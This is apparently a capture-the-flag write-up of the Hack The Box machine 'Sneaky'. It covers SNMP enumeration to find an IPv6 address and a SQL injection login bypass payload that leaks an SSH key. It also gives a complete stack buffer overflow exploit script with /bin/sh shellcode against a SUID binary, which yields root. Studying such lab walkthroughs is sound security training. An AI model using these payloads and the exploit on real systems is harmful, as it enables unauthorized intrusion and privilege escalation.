Sneaky presented a website that after some basic SQL injection, leaked an SSH key. But SSH wasn’t listening. At least not on IPv4. I’ll show three ways to find the IPv6 address of Sneaky, and then SSH using that address to get user. For root, there’s a simple buffer overflow with no protections. I’ll show a basic attack, writing shellcode onto the stack and then returning into it.

Box Stats

Name: Sneaky Sneaky
Release Date: 14 May 2017
Retire Date: 2 Mar 2021
OS: Linux Linux
Base Points: Medium [30]
Rated Difficulty: Rated difficulty for Sneaky
Radar Graph: Radar chart for Sneaky
First Blood User vagmour vagmour 00 days, 03 hours, 14 mins, 00 seconds
First Blood Root vagmour vagmour 00 days, 03 hours, 45 mins, 01 seconds
Creator: trickster0 trickster0




nmap found one HTTP on TCP 80 open:

oxdf@parrot$ nmap -p- --min-rate 10000 -oA scans/nmap-alltcp
Starting Nmap 7.91 ( ) at 2021-02-23 20:26 EST
Nmap scan report for
Host is up (0.014s latency).
Not shown: 65534 closed ports
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 6.80 seconds
oxdf@parrot$ nmap -p 80 -sCV -oA scans/nmap-tcpscripts
Starting Nmap 7.91 ( ) at 2021-02-23 20:29 EST
Nmap scan report for
Host is up (0.012s latency).

80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Under Development!

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 7.00 seconds

Based on the Apache version, the host is likely running Ubuntu 14.04 Trusty.


I always run a UDP port scan as well, but typically don’t show it when it doesn’t matter. I ran it here, and it reported nothing:

oxdf@parrot$ sudo nmap -p- -sU --min-rate 10000 -oA scans/nmap-alludp
Starting Nmap 7.91 ( ) at 2021-02-23 20:38 EST
Warning: giving up on port because retransmission cap hit (10).
Nmap scan report for
Host is up (0.015s latency).
All 65535 scanned ports on are open|filtered (65457) or closed (78)

The results show that 65457 ports reported open|filtered. That’s not helpful at all.

UDP scans are very unreliable. When you do a TCP scan, it sends a SYN packet to the port. The port can either send a SYN/ACK (open), a RST (closed), or not respond. The thing is, if there is a service running on that port, it has to send back a SYN/ACK.

With UDP, there’s no connection set up. The first thing sent is the payload. So nmap can guess based on ports various payloads to send and see if the server responses, but it’s quite possible that the server could just ignore the scan packet, and yet when someone trying to use the actual service comes along, it responds normally.

Website - TCP 80


The site just says it’s under development:


index.php doesn’t exist, but index.html does, I don’t know much about the site tech stack.

Directory Brute Force

I’ll run gobuster against the site:

oxdf@parrot$ gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -o scans/gobuster-root-small -t 20
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        20
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
2021/02/23 20:32:05 Starting gobuster
/dev (Status: 301)
2021/02/23 20:33:15 Finished


Presents a login form:


When I try root / password, it POSTs to /dev/login.php, which returns an unhelpful message:


SNMP - UDP 161

At some point, with such a limited attack surface on the host, it’s worth poking at UDP some more, and simple network management protocol (SNMP) is a good place to start.

To interact with SNMP, I’ll need to know a community string (basically a password). It’s very common to have a community string “public” for things that are meant to be publicly available, so I could start by guessing that. But there’s a tool, onesixtyone that will try a bunch of community strings for me against a list of hosts (I only need one). Using their list of common community strings, I find Sneaky is using public:

oxdf@parrot$ onesixtyone -c /usr/share/doc/onesixtyone/dict.txt 
Scanning 1 hosts, 51 communities [public] Linux Sneaky 4.4.0-75-generic #96~14.04.1-Ubuntu SMP Thu Apr 20 11:06:56 UTC 2017 i686

Now snmpwalk (apt install snmp) is useful to enumerate SNMP. SNMP uses this hierarchical numbering scheme to label all the kinds of data it can hold (and there’s a ton). There’s an add-on package to install to make the output readable. I’ll apt install snmp-mibs-downloader, and then comment out the line in /etc/snmp/snmp.conf (it tells you which line in the file comments).

This snmpwalk will generate a ton of data, so I’ll run it into a file, so I can search around:

oxdf@parrot$ snmpwalk -v2c -c public > scans/snmpwalk-full

There’s information on all the running processes and their command lines. There’s hardware information. But the bit I need for Sneaky is the IPv6 address:

IP-MIB::ipAddressSpinLock.0 = INTEGER: 1600098099
IP-MIB::ipAddressIfIndex.ipv4."" = INTEGER: 2
IP-MIB::ipAddressIfIndex.ipv4."" = INTEGER: 2
IP-MIB::ipAddressIfIndex.ipv4."" = INTEGER: 1
IP-MIB::ipAddressIfIndex.ipv6."00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:01" = INTEGER: 1
IP-MIB::ipAddressIfIndex.ipv6."de:ad:be:ef:00:00:00:00:02:50:56:ff:fe:b9:be:08" = INTEGER: 2
IP-MIB::ipAddressIfIndex.ipv6."fe:80:00:00:00:00:00:00:02:50:56:ff:fe:b9:be:08" = INTEGER:

dead:beef:0000:0000:0250:56ff:feb9:be08 is the globally routable address, and fe80:0000:0000:0000:0250:56ff:feb9:be08 is the link-local address.

This address will change on each boot because of how HTB has the machines spawn in the lab (MACs aren’t consistent). I wrote a one-liner to capture the IPv6:

oxdf@parrot$ snmpwalk -v2c -c public ipAddressIfIndex.ipv6 | cut -d'"' -f2 | grep 'de:ad' | sed -E 's/(.{2}):(.{2})/\1\2/g'

Adding ipAddressIfIndex.ipv6 to the end of the snmpwalk will return just the three lines with three ips:

oxdf@parrot$ snmpwalk -v2c -c public ipAddressIfIndex.ipv6
IP-MIB::ipAddressIfIndex.ipv6."00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:01" = INTEGER: 1
IP-MIB::ipAddressIfIndex.ipv6."de:ad:be:ef:00:00:00:00:02:50:56:ff:fe:b9:3a:bb" = INTEGER: 2
IP-MIB::ipAddressIfIndex.ipv6."fe:80:00:00:00:00:00:00:02:50:56:ff:fe:b9:3a:bb" = INTEGER: 2 

The cut isolates the IPs between the ". The grep gives me only the routable one. Then the sed finds instances of xx:xx and replaces it with xxxx using regex.

I dropped that into a shell script for easy use later:

oxdf@parrot$ ./ 

Alternative Methods for Finding IPv6

There are alternative methods for finding the IPv6 address if you can get on the same network as the host you’re trying to enumerate. Looking at active machines in my my lab, Sneaky is turned on, and I know the shell there is relatively easy, so I’ll start there.

From ARP

One thing to know about IPv6 addresses is that they are typically constructed from the machines physically address, the MAC address. In IPv4, ARP is the protocol that maps IPs to MAC addresses. I can look at the local ARP cache on Nibbles, and it shows the gateway:

nibbler@Nibbles:/$ arp -a          
? ( at 00:50:56:b9:dc:3a [ether] on ens192

I’ll ping Sneaky so that the two boxes exchange ARP information, and dump the cache again:

nibbler@Nibbles:/$ ping -c 1
PING ( 56(84) bytes of data.
64 bytes from icmp_seq=1 ttl=64 time=0.196 ms

--- ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.196/0.196/0.196/0.000 ms
nibbler@Nibbles:/$ arp -a          
? ( at 00:50:56:b9:be:08 [ether] on ens192
? ( at 00:50:56:b9:dc:3a [ether] on ens192

To convert this MAC to an IPv6 address, there’s a few steps. I’ll demonstrate with Nibbles’:

nibbler@Nibbles:/$ ifconfig ens192
ens192    Link encap:Ethernet  HWaddr 00:50:56:b9:2f:74  
          inet addr:  Bcast:  Mask:
          inet6 addr: dead:beef::250:56ff:feb9:2f74/64 Scope:Global
          inet6 addr: fe80::250:56ff:feb9:2f74/64 Scope:Link
          RX packets:5782 errors:0 dropped:132 overruns:0 frame:0
          TX packets:17663 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:716466 (716.4 KB)  TX bytes:1899267 (1.8 MB)

Start with the network address, in this case either fe80 or dead:beef for link-local or global. Now come the first three bytes of the MAC, except the second lowest bit (2s) in the first byte is flipped. So 00 –> 02, then 50, 56. Then add ff, fe, and then the next three in the MAC.

dead:beef::0250:56ff:feb9:2f74 is the globally routable address, and fe80::0250:56ff:feb9:2f74, just like I see in the ifconfig output.

Since I got the MAC for Sneaky of 00:50:56:b9:be:08, the glocal IPv6 is dead:beef::250:56ff:feb9:be08 (which matches what I got from SNMP).

From IPv6 Neighbor

Similarly from Nibbles, I can do ip -6 neigh which is the IPv6 equiv for APR:

nibbler@Nibbles:/$ ip -6 neigh
fe80::250:56ff:feb9:dc3a dev ens192 lladdr 00:50:56:b9:dc:3a router STALE

I’ll send an IP ping to the link-local multicast address (I’ll have to specify the interface I want to ping to come from):

nibbler@Nibbles:/$ ping6 -I ens192 -c 1 ff02::1
PING ff02::1(ff02::1) from fe80::250:56ff:feb9:2f74 ens192: 56 data bytes
64 bytes from fe80::250:56ff:feb9:2f74: icmp_seq=1 ttl=64 time=0.046 ms

--- ff02::1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.046/0.046/0.046/0.000 ms

I only get a response from myself, but that’s because there are firewall rules blocking the other incoming. If I check ip -6 neigh, each of the active Linux hosts in my lab are now there:

nibbler@Nibbles:/$ ip -6 neigh
fe80::250:56ff:feb9:49d7 dev ens192 lladdr 00:50:56:b9:49:d7 STALE
fe80::250:56ff:feb9:4bcc dev ens192 lladdr 00:50:56:b9:4b:cc STALE
fe80::250:56ff:feb9:be08 dev ens192 lladdr 00:50:56:b9:be:08 STALE
fe80::250:56ff:feb9:4b13 dev ens192 lladdr 00:50:56:b9:4b:13 STALE
fe80::250:56ff:feb9:dc3a dev ens192 lladdr 00:50:56:b9:dc:3a router STALE
fe80::250:56ff:feb9:9a33 dev ens192 lladdr 00:50:56:b9:9a:33 STALE

Now I can check each of these (converting to their dead:beef:: equiv) in Firefox looking for the Sneaky page. The first one is Admirer:


The third one is Sneaky:


IPv6 nmap

Now with the IPv6 address, I’ll scan again, this time finding SSH (TCP 22) open as well as HTTP (TCP 80):

oxdf@parrot$ nmap -6 -p- --min-rate 10000 -oA scans/nmap6-alltcp dead:beef::250:56ff:feb9:be08
Starting Nmap 7.91 ( ) at 2021-02-23 20:40 EST
Nmap scan report for dead:beef::250:56ff:feb9:be08
Host is up (0.054s latency).
Not shown: 65533 closed ports
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 8.26 seconds
oxdf@parrot$ nmap -6 -p 22,80 -sCV -oA scans/nmap6-tcpscripts dead:beef::250:56ff:feb9:be08
Starting Nmap 7.91 ( ) at 2021-02-23 20:41 EST
Nmap scan report for dead:beef::250:56ff:feb9:be08
Host is up (0.014s latency).

22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 5d:5d:2a:97:85:a1:20:e2:26:e4:13:54:58:d6:a4:22 (DSA)
|   2048 a2:00:0e:99:0f:d3:ed:b0:19:d4:6b:a8:b1:93:d9:87 (RSA)
|   256 e3:29:c4:cb:87:98:df:99:6f:36:9f:31:50:e3:b9:42 (ECDSA)
|_  256 e6:85:a8:f8:62:67:f7:01:28:a1:aa:00:b5:60:f2:21 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 400 Bad Request
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| address-info: 
|   IPv6 EUI-64: 
|     MAC address: 
|       address: 00:50:56:b9:be:08
|_      manuf: VMware

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 7.31 seconds

I already checked above and saw the HTTP site was the same.

Shell as thrasivoulos

SQL Injection

At the login page, one thing to test is putting special characters into the fields. When I try to login with username root', the result is different:


This is a good sign for SQL injection. I’m going to guess that the site is running a query that looks something like:

SELECT * from users where username = '{name}' and password = '{pass}';

When I send root', it breaks the syntax:

SELECT * from users where username = 'root'' and password = 'password';

So I’ll try a basic authentication bypass, ' or 1=1;-- -:

SELECT * from users where username = '' or 1=1;-- -' and password = 'password';

The -- - comments out the rest of the line. It let’s me in:


The link returns an SSH key:


If I hadn’d already looked at IPv6, this would be a good hint to go back and find it. Rarely is a CTF going to give you an SSH key you can’t use.


With the key, I can login over SSH using IPv6:

oxdf@parrot$ ssh -i ~/keys/sneaky_thrasivoulos thrasivoulos@dead:beef::250:56ff:feb9:be08
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-75-generic i686)

 * Documentation:

  System information as of Tue Feb 23 21:23:39 EET 2021

  System load: 0.0               Memory usage: 4%   Processes:       176
  Usage of /:  9.9% of 18.58GB   Swap usage:   0%   Users logged in: 0

  Graph this data and manage this system at:

Your Hardware Enablement Stack (HWE) is supported until April 2019.
Last login: Sun May 14 20:22:53 2017 from dead:beef:1::1077

And grab user.txt:

thrasivoulos@Sneaky:~$ cat user.txt

It also works using the script:

oxdf@parrot$ ssh -i ~/keys/sneaky_thrasivoulos thrasivoulos@$(./

Shell as root


There’s a SUID binary owned by root that looks interesting:

thrasivoulos@Sneaky:~$ find / -perm -2000 -ls 2>/dev/null | grep -v cache         
787505    8 -rwsrwsr-x   1 root     root         7301 May  4  2017 /usr/local/bin/chal

Just running it coredumps:

thrasivoulos@Sneaky:~$ /usr/local/bin/chal
Segmentation fault (core dumped)

If I give it an argument, it just returns without a crash:

thrasivoulos@Sneaky:~$ /usr/local/bin/chal test

If I pass in a long argument, it crashes again:

thrasivoulos@Sneaky:~$ /usr/local/bin/chal $(python -c 'print("A"*500)')
Segmentation fault (core dumped)

ltrace shows a strcpy of my input:

thrasivoulos@Sneaky:~$ ltrace chal abcd
__libc_start_main(0x804841d, 2, 0xbffff794, 0x8048450 <unfinished ...>
strcpy(0xbffff592, "abcd")                                = 0xbffff592
+++ exited (status 0) +++

strcpy isn’t a safe function, and is likely the cause of the crash above if I send more input than fits the buffer at 0xbffff592.

I’ll grab a copy:

oxdf@parrot$ scp -i ~/keys/sneaky_thrasivoulos thrasivoulos@[$(./]:/usr/local/bin/chal .
chal              100% 7301   365.0KB/s   00:00

Static Analysis

I’ll open it in Ghidra, and it finds the main function to be very simple:

int main(int argc,char **argv)

  char buffer [362];
  return 0;

That explains the two crashes. With no args, it crashes trying to access argv[1]. With an arg too long, it will run over the length of buffer and probably overwrite the return address.


As it’s looking like a this box is vulnerable to a buffer overflow, it’s worth understanding the protections are in place. On the host, it looks like ASLR is disabled:

thrasivoulos@Sneaky:~$ cat /proc/sys/kernel/randomize_va_space 

At the binary itself, basically all protections are disabled as well:

oxdf@parrot$ checksec chal
[*] '/media/sf_ctfs/hackthebox/sneaky-'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

Exploit Strategy

It is very uncommon to see hosts without ASLR or NX today. This was much more common 10 years ago. But it gives me a chance to show a strategy for binary exploitation that I haven’t shown before - Overwriting shellcode on the stack and then jumping to it.

I’m going to find the number of bytes to write such that I overwrite the return address, and gain control of $EIP. Because there’s no address space layour randomization, I can predict where the stack will be. Because there’s no DEP (NX), I can execute from the stack. I’ll put my shellcode onto the stack, and then jump to it.

Find EIP Offset

First I need to find the number of characters to write to such that an address I control ends up as the return address for main. I’ll create a pattern that’s 500 bytes long (since that led to a crash when testing earlier):

oxdf@parrot$ msf-pattern_create -l 400

I’ll start gdb, and feed it that string:

gdb-peda$ r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
Starting program: /media/sf_ctfs/hackthebox/sneaky- Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

Program received signal SIGSEGV, Segmentation fault.
EAX: 0x0 
EBX: 0x0 
ECX: 0xffffd210 ("q2Aq3Aq4Aq5Aq")
EDX: 0xffffce09 ("q2Aq3Aq4Aq5Aq")
ESI: 0xf7fa4000 --> 0x1e4d6c 
EDI: 0xf7fa4000 --> 0x1e4d6c 
EBP: 0x6d41396c ('l9Am')
ESP: 0xffffcd90 ("Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq")
EIP: 0x316d4130 ('0Am1')
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
Invalid $PC address: 0x316d4130
0000| 0xffffcd90 ("Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq")
0004| 0xffffcd94 ("m3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq")
0008| 0xffffcd98 ("4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq")
0012| 0xffffcd9c ("Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq")
0016| 0xffffcda0 ("m7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq")
0020| 0xffffcda4 ("8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq")
0024| 0xffffcda8 ("An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq")
0028| 0xffffcdac ("n1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq")
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x316d4130 in ?? ()

$EIP is set to 0x316d4130, or ‘0Am1’. I’ll feed that back into msf-pattern_offset to get the offset:

oxdf@parrot$ msf-pattern_offset -q 0Am1
[*] Exact match at offset 362

I can test this by putting in a string of 362 “A” followed by “BBBB”. If things are working as I expect, then $EIP should be BBBB, or 0x42424242, at the crash:

oxdf@parrot$ python -c 'print("A"*362 + "BBBB")'
oxdf@parrot$ gdb -q chal
Reading symbols from chal...
(No debugging symbols found in chal)

Program received signal SIGSEGV, Segmentation fault.
EAX: 0x0 
EBX: 0x0 
ECX: 0xffffd210 ("AAAAAAAAABBBB")
EDX: 0xffffce03 ("AAAAAAAAABBBB")
ESI: 0xf7fa4000 --> 0x1e4d6c 
EDI: 0xf7fa4000 --> 0x1e4d6c 
EBP: 0x41414141 ('AAAA')
ESP: 0xffffce10 --> 0x0 
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
Invalid $PC address: 0x42424242
0000| 0xffffce10 --> 0x0 
0004| 0xffffce14 --> 0xffffceb4 --> 0xffffd07d ("/media/sf_ctfs/hackthebox/sneaky-")
0008| 0xffffce18 --> 0xffffcec0 --> 0xffffd21e ("SHELL=/bin/bash")
0012| 0xffffce1c --> 0xffffce44 --> 0x0 
0016| 0xffffce20 --> 0xffffce54 --> 0xbe8739d7 
0020| 0xffffce24 --> 0xf7ffdb40 --> 0xf7ffdae0 --> 0xf7fcb3e0 --> 0xf7ffd980 --> 0x0 
0024| 0xffffce28 --> 0xf7fcb410 --> 0x804825e ("GLIBC_2.0")
0028| 0xffffce2c --> 0xf7fa4000 --> 0x1e4d6c 
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()

It worked.

Find Address of buffer

Now I want to find the address of the local variable I’m writing to on the stack. As gdb is on Sneaky, I’ll run it there. It’s a 32-bit machine, whereas my VM is 64-bit, which will change some addresses in memory.

I’ll open it in gdb, set a break on main, and run it with a long string of A as the input:

thrasivoulos@Sneaky:/dev/shm$ gdb -q chal
Reading symbols from chal...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x8048420
(gdb) r $(python -c 'print "A"*400')
Starting program: /usr/local/bin/chal $(python -c 'print "A"*400')

Breakpoint 1, 0x08048420 in main ()

I’ll check out the stack, looking for the buffer:

Breakpoint 1, 0x08048420 in main ()
(gdb) x/64xw $esp
0xbffff558:     0x00000000      0xb7e3baf3      0x00000002      0xbffff5f4
...[snip not in there, hit enter again to get the next 64 words]...
0xbffff658:     0x00000020      0xb7fdccf0      0x00000021      0xb7fdc000
0xbffff6f8:     0x30000000      0x74a32cd4      0x03dea1e8      0x5830b128
0xbffff708:     0x692368fe      0x00363836      0x7273752f      0x636f6c2f
0xbffff718:     0x622f6c61      0x632f6e69      0x006c6168      0x41414141
0xbffff728:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff738:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff748:     0x41414141      0x41414141      0x41414141      0x41414141

If I run a few times, I’ll notice that the addresses are always the same.

That batch of As will go on for a while. I’ll select 0xbffff754 as a good offset. I’m going to use a nop sled, which is just a long string of single byte instructions that do nothing. That means that landing anywhere in the sled will result in the code just after the sled being run.


Shellcode to start /bin/sh is really small and Googling for it will return many options. This one seemed fine, and it’s 28 bytes.

Taking a quick peak at the instructions:

08048060 <_start>:
 8048060: 31 c0                 xor    %eax,%eax
 8048062: 50                    push   %eax
 8048063: 68 2f 2f 73 68        push   $0x68732f2f
 8048068: 68 2f 62 69 6e        push   $0x6e69622f 
 804806d: 89 e3                 mov    %esp,%ebx   <-- EBX = top of stack
 804806f: 89 c1                 mov    %eax,%ecx   <-- ECX = 0
 8048071: 89 c2                 mov    %eax,%edx   <-- EDX = 0
 8048073: b0 0b                 mov    $0xb,%al    <-- EAX = 11
 8048075: cd 80                 int    $0x80       <-- syscall: 11 == execve
 8048077: 31 c0                 xor    %eax,%eax   <-- EAX = 0
 8048079: 40                    inc    %eax        <-- EAX = 1
 804807a: cd 80                 int    $0x80       <-- syscall: 1 == exit

It sets $EAX to 0, then pushes that onto the stack. Then it pushed /bin/sh onto the stack.

It’s going to eventually call int 0x80, which is to make a syscall. This table shows the various syscalls for 32-bit Linux. The syscall number is read from $EAX, and just before the syscall trigger it puts 0xb there, which is execve. It sets $EBX to the address of the top of the stack, which points to /bin/sh. It then nulls $ECX and $EDX. This all leads to execve('/bin/sh', 0, 0). Then it sets $EAX to one and triggers another syscall to exit.


All of this comes together to make the following script:

#!/usr/bin/env python3

import sys

offset = 362
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
nop = b"\x90" * (offset - len(shellcode))
EIP = b"\x54\xf7\xff\xbf"

payload = nop + shellcode + EIP


In Python3, I’ll need to use sys.stdout.buffer.write instead of print to output the raw bytes correctly.


The script puts out the bytes I’m expecting:

thrasivoulos@Sneaky:/dev/shm$ python3 d3 | wc -c
thrasivoulos@Sneaky:/dev/shm$ python3 d3 | xxd 
0000000: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000130: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000140: 9090 9090 9090 9090 9090 9090 9090 31c0  ..............1.
0000150: 5068 2f2f 7368 682f 6269 6e89 e389 c189  Ph//shh/bin.....
0000160: c2b0 0bcd 8031 c040 cd80 54f7 ffbf       .....1.@..T...

Now I’ll feed that in as an argument to chal and it returns a root shell:

thrasivoulos@Sneaky:/dev/shm$ chal $(python3 d3)
# id
uid=1000(thrasivoulos) gid=1000(thrasivoulos) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare),1000(thrasivoulos)

I can grab the root flag:

# cat /root/root.txt